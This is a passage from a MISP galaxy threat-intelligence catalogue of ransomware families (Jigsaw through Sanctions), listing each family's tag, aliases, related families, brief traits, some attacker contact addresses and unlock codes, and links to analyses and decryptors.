Jigsaw

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="Jigsaw"*

Jigsaw is also known as:

- CryptoHitMan
- Jigsaw Original

View relationships graph

Jigsaw has relationships with:

- similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 6166. Table References

Links
http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-decrypted-will-delete-your-files-until-you-pay-the-ransom/
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/
https://twitter.com/demonslay335/status/795819556166139905
https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html

Job Crypter

Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC

The tag is: *misp-galaxy:ransomware="Job Crypter"*

Job Crypter is also known as:

- JobCrypter

Table 6167. Table References

Links
http://www.nyxbone.com/malware/jobcrypter.html
http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html
https://twitter.com/malwrhunterteam/status/828914052973858816
http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html

JohnyCryptor

Ransomware

The tag is: *misp-galaxy:ransomware="JohnyCryptor"*

Table 6168. Table References

Links
http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html

KawaiiLocker

Ransomware

The tag is: *misp-galaxy:ransomware="KawaiiLocker"*

Table 6169. Table References

Links
https://safezone.cc/resources/kawaii-decryptor.195/
http://id-ransomware.blogspot.com/2016/09/kawaiilocker-ransomware.html

KeRanger

Ransomware OS X Ransomware

The tag is: *misp-galaxy:ransomware="KeRanger"*

View relationships graph

KeRanger has relationships with:

- similar: misp-galaxy:malpedia="KeRanger" with estimative-language:likelihood-probability="likely"

Table 6170. Table References

Links
http://news.drweb.com/show/?i=9877&lng=en&c=5
http://www.welivesecurity.com/2016/03/07/new-mac-ransomware-appears-keranger-spread-via-transmission-app/
https://id-ransomware.blogspot.com/2016/03/keranger-ransomware.html

KeyBTC

Ransomware

The tag is: *misp-galaxy:ransomware="KeyBTC"*

Table 6171. Table References

Links
https://decrypter.emsisoft.com/

KEYHolder

Ransomware via remote attacker. tuyuljahat@hotmail.com contact address

The tag is: *misp-galaxy:ransomware="KEYHolder"*

Table 6172. Table References

Links
http://www.bleepingcomputer.com/forums/t/559463/keyholder-ransomware-support-and-help-topic-how-decryptgifhow-decrypthtml
https://id-ransomware.blogspot.com/2016/06/keyholder-ransomware-xor-cfb-cipher.html

KillerLocker

Ransomware Possibly Portuguese dev

The tag is: *misp-galaxy:ransomware="KillerLocker"*

Table 6173. Table References

Links
https://twitter.com/malwrhunterteam/status/782232299840634881
http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html

KimcilWare

Ransomware websites only

The tag is: *misp-galaxy:ransomware="KimcilWare"*

Table 6174. Table References

Links
https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it
http://www.bleepingcomputer.com/news/security/the-kimcilware-ransomware-targets-web-sites-running-the-magento-platform/
http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html

Korean

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Korean"*

Table 6175. Table References

Links
http://www.nyxbone.com/malware/koreanRansom.html
http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html

Kozy.Jozy

Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com

The tag is: *misp-galaxy:ransomware="Kozy.Jozy"*

Kozy.Jozy is also known as:

- QC

Table 6176. Table References

Links
http://www.nyxbone.com/malware/KozyJozy.html
http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-lsbj1/
https://id-ransomware.blogspot.com/2016/06/kozy.html

KratosCrypt

Ransomware kratosdimetrici@gmail.com

The tag is: *misp-galaxy:ransomware="KratosCrypt"*

Table 6177. Table References

Links
https://twitter.com/demonslay335/status/746090483722686465
https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html

KryptoLocker

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="KryptoLocker"*

Table 6178. Table References

Links
https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html

LanRan

Ransomware Variant of open-source MyLittleRansomware

The tag is: *misp-galaxy:ransomware="LanRan"*

Table 6179. Table References

Links
https://twitter.com/struppigel/status/847689644854595584
http://id-ransomware.blogspot.com/2017/03/lanran-ransomware.html

LeChiffre

Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker

The tag is: *misp-galaxy:ransomware="LeChiffre"*

Table 6180. Table References

Links
https://decrypter.emsisoft.com/lechiffre
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/
http://id-ransomware.blogspot.com/2016/05/lechiffre-ransomware.html

Lick

Ransomware Variant of Kirk

The tag is: *misp-galaxy:ransomware="Lick"*

Table 6181. Table References

Links
https://twitter.com/JakubKroustek/status/842404866614038529
https://www.2-spyware.com/remove-lick-ransomware-virus.html

Linux.Encoder

Ransomware Linux Ransomware

The tag is: *misp-galaxy:ransomware="Linux.Encoder"*

Linux.Encoder is also known as:

- Linux.Encoder.{0,3}

Table 6182. Table References

Links
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/

LK Encryption

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="LK Encryption"*

Table 6183. Table References

Links
https://twitter.com/malwrhunterteam/status/845183290873044994
http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html

LLTP Locker

Ransomware Targeting Spanish speaking victims

The tag is: *misp-galaxy:ransomware="LLTP Locker"*

Table 6184. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lltp-ransomware-appears-to-be-a-rewritten-venus-locker/
http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html

Locker

Ransomware has GUI

The tag is: *misp-galaxy:ransomware="Locker"*

Locker is also known as:

- LockeR

Table 6185. Table References

Links
http://www.bleepingcomputer.com/forums/t/577246/locker-ransomware-support-and-help-topic/page-32#entry3721545
https://id-ransomware.blogspot.com/2016/04/locker-ransomware-2015.html

LockLock

Ransomware

The tag is: *misp-galaxy:ransomware="LockLock"*

Table 6186. Table References

Links
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/
https://id-ransomware.blogspot.com/2016/09/locklock-ransomware.html

Locky

Ransomware Affiliations with Dridex and Necurs botnets

The tag is: *misp-galaxy:ransomware="Locky"*

Locky is also known as:

- Locky-Odin
- Locky-Osiris
- Locky-Osiris 2016
- Locky-Osiris 2017

View relationships graph

Locky has relationships with:

- similar: misp-galaxy:malpedia="Locky" with estimative-language:likelihood-probability="likely"

Table 6187. Table References

Links
http://www.bleepingcomputer.com/news/security/new-locky-version-adds-the-zepto-extension-to-encrypted-files/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-locky-ransomware-spotted-in-the-brazilian-underground-market-uses-windows-script-files/

https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-egyptian-mythology-with-the-osiris-extension/
https://id-ransomware.blogspot.com/2016/02/locky.html

Lortok

Ransomware

The tag is: *misp-galaxy:ransomware="Lortok"*

Table 6188. Table References

Links
https://id-ransomware.blogspot.com/2016/06/lortok-ransomware-aes-256-5.html

LowLevel04

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="LowLevel04"*

Table 6189. Table References

Links
http://id-ransomware.blogspot.com/2016/04/lowlevel04-ransomware.html

M4N1F3STO

Ransomware Does not encrypt Unlock code=suckmydicknigga

The tag is: *misp-galaxy:ransomware="M4N1F3STO"*

Table 6190. Table References

Links
https://twitter.com/jiriatvirlab/status/808015275367002113
http://id-ransomware.blogspot.com/2016/12/m4n1f3sto-ransomware.html

Mabouia

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Mabouia"*

Table 6191. Table References

Links
https://www.youtube.com/watch?v=9nJv_PN2m1Y

MacAndChess

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MacAndChess"*

Table 6192. Table References

Links
http://id-ransomware.blogspot.com/2017/03/macandchess-ransomware.html

Magic

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Magic"*

Table 6193. Table References

Links
http://id-ransomware.blogspot.com/2016/04/magic-ransomware.html

MaktubLocker

Ransomware

The tag is: *misp-galaxy:ransomware="MaktubLocker"*

Table 6194. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
http://id-ransomware.blogspot.com/2016/04/maktub-locker-ransomware.html

MarsJoke

Ransomware

The tag is: *misp-galaxy:ransomware="MarsJoke"*

Table 6195. Table References

Links
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/

https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker
http://id-ransomware.blogspot.com/2016/09/jokefrommars-ransomware.html

Meister

Ransomware Targeting French victims

The tag is: *misp-galaxy:ransomware="Meister"*

Table 6196. Table References

Links
https://twitter.com/siri_urz/status/840913419024945152

Meteoritan

Ransomware

The tag is: *misp-galaxy:ransomware="Meteoritan"*

Table 6197. Table References

Links
https://twitter.com/malwrhunterteam/status/844614889620561924
http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html

MIRCOP

Ransomware Prepends files Demands 48.48 BTC

The tag is: *misp-galaxy:ransomware="MIRCOP"*

MIRCOP is also known as:

- Crypt888
- MicroCop

Table 6198. Table References

Links
http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/
https://www.avast.com/ransomware-decryption-tools#!
http://blog.trendmicro.com/trendlabs-security-intelligence/instruction-less-ransomware-mircop-channels-guy-fawkes/
http://www.nyxbone.com/malware/Mircop.html

https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html

MireWare

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MireWare"*

Table 6199. Table References

Links
http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html

Mischa

Ransomware Packaged with Petya PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Mischa"*

Mischa is also known as:

- "Petya's little brother"
- Misha
- Petya+Mischa
- Petya-2

Table 6200. Table References

Links
http://www.bleepingcomputer.com/news/security/petya-is-back-and-with-a-friend-named-mischa-ransomware/
https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html

MM Locker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="MM Locker"*

MM Locker is also known as:

- Booyah

View relationships graph

MM Locker has relationships with:

- similar: misp-galaxy:ransomware="Booyah" with estimative-language:likelihood-

probability="likely"

Table 6201. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html

Mobef

Ransomware

The tag is: *misp-galaxy:ransomware="Mobef"*

Mobef is also known as:

- Yakes
- CryptoBit

View relationships graph

Mobef has relationships with:

- similar: misp-galaxy:ransomware="CryptoBit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Mobef-JustFun" with estimative-language:likelihood-probability="likely"

Table 6202. Table References

Links
http://nyxbone.com/malware/Mobef.html
http://researchcenter.paloaltonetworks.com/2016/07/unit42-cryptobit-another-ransomware-family-gets-an-update/
http://nyxbone.com/images/articulos/malware/mobef/0.png
http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html

Monument

Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant

The tag is: *misp-galaxy:ransomware="Monument"*

Table 6203. Table References

Links

https://twitter.com/malwrhunterteam/status/844826339186135040

N-Splitter

Ransomware Russian Koolova Variant

The tag is: *misp-galaxy:ransomware="N-Splitter"*

Table 6204. Table References

Links
https://twitter.com/JakubKroustek/status/815961663644008448
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q

n1n1n1

Ransomware Filemaker: "333333333333"

The tag is: *misp-galaxy:ransomware="n1n1n1"*

n1n1n1 is also known as:

- N1N1N1

Table 6205. Table References

Links
https://twitter.com/demonslay335/status/790608484303712256
https://twitter.com/demonslay335/status/831891344897482754
http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html

NanoLocker

Ransomware no extension change, has a GUI

The tag is: *misp-galaxy:ransomware="NanoLocker"*

View relationships graph

NanoLocker has relationships with:

- similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 6206. Table References

Links

http://github.com/Cyberclues/nanolocker-decryptor
https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html

Nemucod

Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes

The tag is: *misp-galaxy:ransomware="Nemucod"*

Nemucod is also known as:

- Nemucod-7z
- Nemucod-AES

Table 6207. Table References

Links
https://decrypter.emsisoft.com/nemucod
https://github.com/Antelox/NemucodFR
http://www.bleepingcomputer.com/news/security/decryptor-released-for-the-nemucod-trojans-crypted-ransomware/
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/
http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html

Netix

Ransomware

The tag is: *misp-galaxy:ransomware="Netix"*

Netix is also known as:

- RANSOM_NETIX.A

Table 6208. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html

Nhtnwcuf

Ransomware Does not encrypt the files / Files are destroyed

The tag is: *misp-galaxy:ransomware="Nhtnwcuf"*

Table 6209. Table References

Links
https://twitter.com/demonslay335/status/839221457360195589
http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html

NMoreira

Ransomware

The tag is: *misp-galaxy:ransomware="NMoreira"*

NMoreira is also known as:

- XRatTeam
- XPan

Table 6210. Table References

Links
https://decrypter.emsisoft.com/nmoreira
https://twitter.com/fwosar/status/803682662481174528
id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html[id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html]

NoobCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="NoobCrypt"*

Table 6211. Table References

Links
https://twitter.com/JakubKroustek/status/757267550346641408
https://www.bleepingcomputer.com/news/security/noobcrypt-ransomware-dev-shows-noobness-by-using-same-password-for-everyone/
https://id-ransomware.blogspot.com/2016/07/noobcrypt-ransomare-250-nzd.html

Nuke

Ransomware

The tag is: *misp-galaxy:ransomware="Nuke"*

Table 6212. Table References

Links
http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html

Nullbyte

Ransomware

The tag is: *misp-galaxy:ransomware="Nullbyte"*

Table 6213. Table References

Links
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip
https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/
http://id-ransomware.blogspot.com/2016/08/nullbyte-ransomware.html

ODCODC

Ransomware

The tag is: *misp-galaxy:ransomware="ODCODC"*

Table 6214. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip
http://www.nyxbone.com/malware/odcodc.html
https://twitter.com/PolarToffee/status/813762510302183424
http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png
http://id-ransomware.blogspot.com/2016/05/odcodc-ransomware-rsa-2048.html

Offline ransomware

Ransomware email addresses overlap with .777 addresses

The tag is: *misp-galaxy:ransomware="Offline ransomware"*

Offline ransomware is also known as:

- Vipasana
- Cryakl

View relationships graph

Offline ransomware has relationships with:

- similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 6215. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html

OMG! Ransomware

Ransomware. Infection: drive-by-download; Platform: Windows; Extorsion by Prepaid Voucher

The tag is: *misp-galaxy:ransomware="OMG! Ransomware"*

OMG! Ransomware is also known as:

- GPCode

View relationships graph

OMG! Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GPCode" with estimative-language:likelihood-probability="likely"

Table 6216. Table References

Links
https://arxiv.org/pdf/2102.06249.pdf

Operation Global III

Ransomware Is a file infector (virus)

The tag is: *misp-galaxy:ransomware="Operation Global III"*

Table 6217. Table References

Links
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/

Owl

Ransomware

The tag is: *misp-galaxy:ransomware="Owl"*

Owl is also known as:

- CryptoWire

View relationships graph

Owl has relationships with:

- similar: misp-galaxy:malpedia="CryptoWire" with estimative-language:likelihood-probability="likely"

Table 6218. Table References

Links
https://twitter.com/JakubKroustek/status/842342996775448576
https://id-ransomware.blogspot.com/2016/10/cryptowire-ransomware.html

PadCrypt

Ransomware has a live support chat

The tag is: *misp-galaxy:ransomware="PadCrypt"*

View relationships graph

PadCrypt has relationships with:

- similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 6219. Table References

Links
http://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://twitter.com/malwrhunterteam/status/798141978810732544
http://id-ransomware.blogspot.com/2016/04/padcrypt-ransomware.html

Padlock Screenlocker

Ransomware Unlock code is: ajVr/G\ RJz0R

The tag is: *misp-galaxy:ransomware="Padlock Screenlocker"*

Table 6220. Table References

Links
https://twitter.com/BleepinComputer/status/811635075158839296

Patcher

Ransomware Targeting macOS users

The tag is: *misp-galaxy:ransomware="Patcher"*

View relationships graph

Patcher has relationships with:

- similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 6221. Table References

Links
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/
https://www.bleepingcomputer.com/news/security/new-macos-patcher-ransomware-locks-data-for-good-no-way-to-recover-your-files/

Petya

Ransomware encrypts disk partitions PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Petya"*

Petya is also known as:

- Goldeneye

View relationships graph

Petya has relationships with:

- similar: misp-galaxy:malpedia="Petya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="GoldenEye Ransomware" with estimative-language:likelihood-probability="likely"

Table 6222. Table References

Links

http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator
https://www.youtube.com/watch?v=mSqxFjZq_z4
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/

Philadelphia

Ransomware Coded by "The_Rainmaker"

The tag is: *misp-galaxy:ransomware="Philadelphia"*

Table 6223. Table References

Links
https://decrypter.emsisoft.com/philadelphia
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/]
http://id-ransomware.blogspot.ru/2016/09/philadelphia-ransomware.html

PizzaCrypts

Ransomware

The tag is: *misp-galaxy:ransomware="PizzaCrypts"*

Table 6224. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip
https://id-ransomware.blogspot.com/2016/07/pizzacrypts-ransomware-1.html

PokemonGO

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="PokemonGO"*

Table 6225. Table References

Links
http://www.nyxbone.com/malware/pokemonGO.html
http://www.bleepingcomputer.com/news/security/pokemongo-ransomware-installs-backdoor-accounts-and-spreads-to-other-drives/

https://id-ransomware.blogspot.com/2016/08/pokemongo-ransomware-aes-256.html

Polyglot

Ransomware Immitates CTB-Locker

The tag is: *misp-galaxy:ransomware="Polyglot"*

View relationships graph

Polyglot has relationships with:

- similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"

Table 6226. Table References

Links
https://support.kaspersky.com/8547
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

PowerWare

Ransomware Open-sourced PowerShell

The tag is: *misp-galaxy:ransomware="PowerWare"*

PowerWare is also known as:

- PoshCoder

View relationships graph

PowerWare has relationships with:

- similar: misp-galaxy:malpedia="PowerWare" with estimative-language:likelihood-probability="likely"

Table 6227. Table References

Links
https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py
https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip
https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
http://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/
http://id-ransomware.blogspot.com/2016/04/powerware-ransomware.html

PowerWorm

Ransomware no decryption possible, throws key away, destroys the files

The tag is: *misp-galaxy:ransomware="PowerWorm"*

Princess Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Princess Locker"*

Table 6228. Table References

Links
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
http://id-ransomware.blogspot.com/2016/09/princess-locker-ransomware.html

PRISM

Ransomware

The tag is: *misp-galaxy:ransomware="PRISM"*

Table 6229. Table References

Links
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/

Ps2exe

Ransomware

The tag is: *misp-galaxy:ransomware="Ps2exe"*

Table 6230. Table References

Links
https://twitter.com/jiriatvirlab/status/803297700175286273

R

Ransomware

The tag is: *misp-galaxy:ransomware="R"*

R is also known as:

- NM3

Table 6231. Table References

Links
https://twitter.com/malwrhunterteam/status/846705481741733892
http://id-ransomware.blogspot.com/2017/03/r-ransomware.html

R980

Ransomware

The tag is: *misp-galaxy:ransomware="R980"*

Table 6232. Table References

Links
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/
http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html

RAA encryptor

Ransomware Possible affiliation with Pony

The tag is: *misp-galaxy:ransomware="RAA encryptor"*

RAA encryptor is also known as:

- RAA
- RAA SEP

Table 6233. Table References

Links
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
http://www.bleepingcomputer.com/news/security/the-new-raa-ransomware-is-created-entirely-using-javascript/
https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html

Rabion

Ransomware RaaS Copy of Ranion RaaS

The tag is: *misp-galaxy:ransomware="Rabion"*

Table 6234. Table References

Links
https://twitter.com/CryptoInsane/status/846181140025282561

Radamant

Ransomware

The tag is: *misp-galaxy:ransomware="Radamant"*

View relationships graph

Radamant has relationships with:

- similar: misp-galaxy:malpedia="Radamant" with estimative-language:likelihood-probability="likely"

Table 6235. Table References

Links
https://decrypter.emsisoft.com/radamant
http://www.bleepingcomputer.com/news/security/new-radamant-ransomware-kit-adds-rdm-extension-to-encrypted-files/
http://www.nyxbone.com/malware/radamant.html
https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html

Rakhni

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Rakhni"*

Rakhni is also known as:

- Agent.iih
- Aura
- Autoit
- Pletor
- Rotor
- Lamer
- Isda
- Cryptokluchen

* Bandarchor

View relationships graph

Rakhni has relationships with:

* similar: misp-galaxy:ransomware="Bandarchor" with estimative-language:likelihood-probability="likely"

Table 6236. Table References

Links
https://support.kaspersky.com/us/viruses/disinfection/10556
https://id-ransomware.blogspot.com/2016/07/bandarchor-ransomware-aes-256.html

Ramsomeer

Ransomware Based on the DUMB ransomware

The tag is: *misp-galaxy:ransomware="Ramsomeer"*

Rannoh

Ransomware

The tag is: *misp-galaxy:ransomware="Rannoh"*

Table 6237. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

RanRan

Ransomware

The tag is: *misp-galaxy:ransomware="RanRan"*

RanRan is also known as:

* ZXZ

Table 6238. Table References

Links
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption
http://researchcenter.paloaltonetworks.com/2017/03/unit42-targeted-ransomware-attacks-middle-eastern-government-organizations-political-purposes/

https://www.bleepingcomputer.com/news/security/new-ranran-ransomware-uses-encryption-tiers-political-messages/

Ransoc

Ransomware Doesn’t encrypt user files

The tag is: *misp-galaxy:ransomware="Ransoc"*

View relationships graph

Ransoc has relationships with:

- similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"

Table 6239. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles
https://www.bleepingcomputer.com/news/security/ransoc-ransomware-extorts-users-who-accessed-questionable-content/

Ransom32

Ransomware no extension change, Javascript Ransomware

The tag is: *misp-galaxy:ransomware="Ransom32"*

Table 6240. Table References

Links
http://id-ransomware.blogspot.com/2016/04/ransom32.html

RansomLock

Ransomware Locks the desktop

The tag is: *misp-galaxy:ransomware="RansomLock"*

Table 6241. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2

RarVault

Ransomware

The tag is: *misp-galaxy:ransomware="RarVault"*

Table 6242. Table References

Links
http://id-ransomware.blogspot.com/2016/09/rarvault-ransomware.html

Razy

Ransomware

The tag is: *misp-galaxy:ransomware="Razy"*

Table 6243. Table References

Links
http://www.nyxbone.com/malware/Razy(German).html
http://nyxbone.com/malware/Razy.html
http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html

Rector

Ransomware

The tag is: *misp-galaxy:ransomware="Rector"*

Table 6244. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264

RektLocker

Ransomware

The tag is: *misp-galaxy:ransomware="RektLocker"*

Table 6245. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264
http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html

RemindMe

Ransomware

The tag is: *misp-galaxy:ransomware="RemindMe"*

Table 6246. Table References

Links
http://www.nyxbone.com/malware/RemindMe.html
http://i.imgur.com/gV6i5SN.jpg
http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html

Rokku

Ransomware possibly related with Chimera

The tag is: *misp-galaxy:ransomware="Rokku"*

View relationships graph

Rokku has relationships with:

- similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"

Table 6247. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/
https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html

RoshaLock

Ransomware Stores your files in a password protected RAR file

The tag is: *misp-galaxy:ransomware="RoshaLock"*

Table 6248. Table References

Links
https://twitter.com/siri_urz/status/842452104279134209
https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html

Runsomewere

Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background

The tag is: *misp-galaxy:ransomware="Runsomewere"*

Table 6249. Table References

Links
https://twitter.com/struppigel/status/801812325657440256

RussianRoulette

Ransomware Variant of the Philadelphia ransomware

The tag is: *misp-galaxy:ransomware="RussianRoulette"*

Table 6250. Table References

Links
https://twitter.com/struppigel/status/823925410392080385

SADStory

Ransomware Variant of CryPy

The tag is: *misp-galaxy:ransomware="SADStory"*

Table 6251. Table References

Links
https://twitter.com/malwrhunterteam/status/845356853039190016
http://id-ransomware.blogspot.com/2017/03/sadstory-ransomware.html

Sage 2.2

Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.

The tag is: *misp-galaxy:ransomware="Sage 2.2"*

Table 6252. Table References

Links
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate
https://malwarebreakdown.com/2017/03/10/finding-a-good-man/

Samas-Samsam

Ransomware Targeted attacks -Jexboss -PSExec -Hyena

The tag is: *misp-galaxy:ransomware="Samas-Samsam"*

Samas-Samsam is also known as:

- samsam.exe
- MIKOPONI.exe
- RikiRafael.exe
- showmehowto.exe
- SamSam Ransomware
- SamSam
- Samsam
- Samas

View relationships graph

Samas-Samsam has relationships with:

- similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"

Table 6253. Table References

Links
https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip
http://blog.talosintel.com/2016/03/samsam-ransomware.html
http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf
https://www.bleepingcomputer.com/news/security/new-samsam-variant-requires-special-password-before-infection/
https://www.bleepingcomputer.com/news/security/samsam-ransomware-crew-made-nearly-6-million-from-ransom-payments/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf
https://id-ransomware.blogspot.com/2016/03/samsam.html

Sanction

Ransomware Based on HiddenTear, but heavily modified keygen

The tag is: *misp-galaxy:ransomware="Sanction"*

Table 6254. Table References

Links
http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html

Sanctions

Ransomware

The tag is: *misp-galaxy:ransomware="Sanctions"*

Sanctions is also known as:

- Sanctions 2017

Table 6255. Table References

Links
https://www.bleepingcomputer.com/news/security/sanctions-ransomware-makes-fun-of-usa-sanctions-against-russia/
